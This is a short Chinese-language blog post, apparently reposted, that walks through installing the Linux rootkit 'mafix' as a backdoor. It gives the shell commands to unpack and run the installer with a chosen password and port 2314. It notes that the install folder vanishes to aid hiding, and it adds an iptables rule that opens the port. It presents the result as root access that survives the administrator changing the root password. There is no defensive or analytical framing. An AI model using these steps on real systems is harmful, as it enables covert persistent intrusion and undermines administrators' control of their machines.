Rootkit之mafix配置方法

来源：互联网发布：打印机数据残留怎么办编辑：程序博客网时间：2024/04/28 06:10

Linux后门程序mafix，安装配置方法如下：

[root@yinyong home]# tar zxvf mafix.tar.gz  
[root@yinyong home]# ls  
db_20130113.dmp  jdk1.5.0_13  mafix  mafix.tar.gz  oracle  tomcat  
[root@yinyong home]# cd mafix  
[root@yinyong mafix]# pwd  
/home/mafix                                 //未配置前路径  
[root@yinyong mafix]# ls  
HOW-TO  mafix  mafixlibs  root  
[root@yinyong mafix]# chmod +x root         //授权  
[root@yinyong mafix]# ./root password 2314  // 用户名、端口号

如下图所示安装成功

netstat -tnl 也验证2314端口是开放的。之前解压文件的目录/home/mafix在编译完后自动消失，便于隐藏。

现在就可以用root，加上新密码、端口进行登录了，即使管理员改了root的密码也可以登录。如果登录不成功，看下Linux的防火墙是否关闭，或者是否把新端口加入iptables中： -A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 2314 -j ACCEPT